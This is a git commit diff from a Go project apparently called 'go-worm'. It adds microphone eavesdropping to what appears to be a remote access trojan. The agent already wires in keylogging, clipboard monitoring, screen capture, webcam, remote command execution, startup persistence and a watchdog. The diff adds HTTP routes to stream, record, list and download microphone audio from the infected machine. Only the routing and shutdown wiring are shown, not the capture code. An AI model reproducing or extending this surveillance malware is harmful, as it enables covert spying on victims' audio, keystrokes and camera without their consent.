This commit is contained in:
2026-09-02 01:00:09 +03:00
parent 166744fe88
commit eaa46e7494
17 changed files with 1351 additions and 0 deletions
+7
View File
@@ -19,6 +19,7 @@ import (
"tea.chunkbyte.com/kato/go-worm/lib/input"
"tea.chunkbyte.com/kato/go-worm/lib/instance"
"tea.chunkbyte.com/kato/go-worm/lib/keylog"
"tea.chunkbyte.com/kato/go-worm/lib/mic"
)
type Agent struct {
@@ -75,6 +76,7 @@ func (a *Agent) Close() {
clipmon.Stop()
keylog.Stop()
capture.Stop()
mic.Stop()
if a.guard != nil {
a.guard.Close()
}
@@ -95,6 +97,11 @@ func (a *Agent) Serve() error {
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
mux.HandleFunc("/api/v1/webcam", a.handleWebcam)
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
mux.HandleFunc("/api/v1/mic", a.handleMic)
mux.HandleFunc("/api/v1/mic/chunk", a.handleMicChunk)
mux.HandleFunc("/api/v1/mic/record", a.handleMicRecord)
mux.HandleFunc("/api/v1/mic/recordings", a.handleMicRecordings)
mux.HandleFunc("/api/v1/mic/download", a.handleMicDownload)
mux.HandleFunc("/api/v1/exec", a.handleExec)
mux.HandleFunc("/api/v1/startup", a.handleStartup)
mux.HandleFunc("/api/v1/watchdog", a.handleWatchdog)